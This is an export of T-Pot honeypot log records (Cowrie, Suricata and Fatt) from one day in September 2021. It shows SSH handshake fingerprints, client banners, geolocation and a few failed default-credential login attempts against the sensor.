27141	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:52.714256+03	2021-09-20 14:15:14.189644+03	{"_id": "bQbpAnwBvYTbRNuEjybJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59014, "timestamp": "2021-09-20T11:13:52.714256", "@timestamp": "2021-09-20T11:13:52.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27142	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:54.512687+03	2021-09-20 14:15:14.190645+03	{"_id": "gAbpAnwBvYTbRNuElCZs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [linux/linux] failed", "session": "16898c07b5df", "@version": "1", "password": "linux", "username": "linux", "timestamp": "2021-09-20T11:13:54.512687Z", "@timestamp": "2021-09-20T11:13:54.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27143	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:53.931607+03	2021-09-20 14:15:14.191646+03	{"_id": "hgbpAnwBvYTbRNuElCZt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [ax/ax] failed", "session": "727281c9ca28", "@version": "1", "password": "ax", "username": "ax", "timestamp": "2021-09-20T11:13:53.931607Z", "@timestamp": "2021-09-20T11:13:53.931Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27144	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:54.128778+03	2021-09-20 14:15:14.193646+03	{"_id": "hwbpAnwBvYTbRNuElCZt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "3f22bd74dc47", "@version": "1", "duration": 4.932790756225586, "timestamp": "2021-09-20T11:13:54.128778Z", "@timestamp": "2021-09-20T11:13:54.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27145	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:54.322468+03	2021-09-20 14:15:14.195646+03	{"_id": "iAbpAnwBvYTbRNuElCZt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "5d72388d9020", "@version": "1", "duration": 3.3347315788269043, "timestamp": "2021-09-20T11:13:54.322468Z", "@timestamp": "2021-09-20T11:13:54.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27146	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:55.2138+03	2021-09-20 14:15:14.196647+03	{"_id": "jQbpAnwBvYTbRNuEmCZU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "727281c9ca28", "@version": "1", "duration": 2.7780823707580566, "timestamp": "2021-09-20T11:13:55.213800Z", "@timestamp": "2021-09-20T11:13:55.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27149	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:53.196868+03	2021-09-20 14:15:14.200646+03	{"_id": "agbpAnwBvYTbRNuEjiaW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1093483321408645, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49340, "dest_port": 22, "timestamp": "2021-09-20T11:13:53.196868Z", "@timestamp": "2021-09-20T11:13:53.196Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27150	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:53.197037+03	2021-09-20 14:15:14.201646+03	{"_id": "bgbpAnwBvYTbRNuEjybJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49340, "timestamp": "2021-09-20T11:13:53.197037", "@timestamp": "2021-09-20T11:13:53.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27151	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:13:26.690655+03	2021-09-20 14:15:14.202647+03	{"_id": "yQbpAnwBvYTbRNuEKiTW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "83829f2c10f7", "@version": "1", "duration": 2.8432416915893555, "timestamp": "2021-09-20T11:13:26.690655Z", "@timestamp": "2021-09-20T11:13:26.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27152	13.75.108.119	109.199.241.180	Suricata	2021-09-20 14:13:27.937771+03	2021-09-20 14:15:14.203647+03	{"_id": "zAbpAnwBvYTbRNuELCTd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.42.11.6431222109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "src_ip": "13.75.108.119", "dest_ip": "192.168.20.116", "flow_id": 269214671148653, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58381, "dest_port": 22, "timestamp": "2021-09-20T11:13:27.937771Z", "@timestamp": "2021-09-20T11:13:27.937Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27153	13.75.108.119	109.199.241.180	Fatt	2021-09-20 14:13:27.937771+03	2021-09-20 14:15:14.204647+03	{"_id": "zwbpAnwBvYTbRNuELiQL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "src_ip": "13.75.108.119", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.42.11.6431222109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 58381, "dest_port": 22, "timestamp": "2021-09-20T11:13:27.937771", "@timestamp": "2021-09-20T11:13:27.937Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27154	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:27.93853+03	2021-09-20 14:15:14.206646+03	{"_id": "0AbpAnwBvYTbRNuELiS-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "a47f1fcfc795", "@version": "1", "timestamp": "2021-09-20T11:13:27.938530Z", "@timestamp": "2021-09-20T11:13:27.938Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
27155	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:28.808844+03	2021-09-20 14:15:14.207647+03	{"_id": "3QbpAnwBvYTbRNuEMST1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59536, "timestamp": "2021-09-20T11:13:28.808844", "@timestamp": "2021-09-20T11:13:28.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27156	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:28.807473+03	2021-09-20 14:15:14.208647+03	{"_id": "3gbpAnwBvYTbRNuEMiSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2bcdff4a8e3f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:28.807473Z", "@timestamp": "2021-09-20T11:13:28.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27157	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:29.08582+03	2021-09-20 14:15:14.210647+03	{"_id": "3wbpAnwBvYTbRNuEMiSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2bcdff4a8e3f", "@version": "1", "timestamp": "2021-09-20T11:13:29.085820Z", "@timestamp": "2021-09-20T11:13:29.085Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27158	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:29.138199+03	2021-09-20 14:15:14.211646+03	{"_id": "4AbpAnwBvYTbRNuEMiSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "af97bc5057da", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:29.138199Z", "@timestamp": "2021-09-20T11:13:29.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
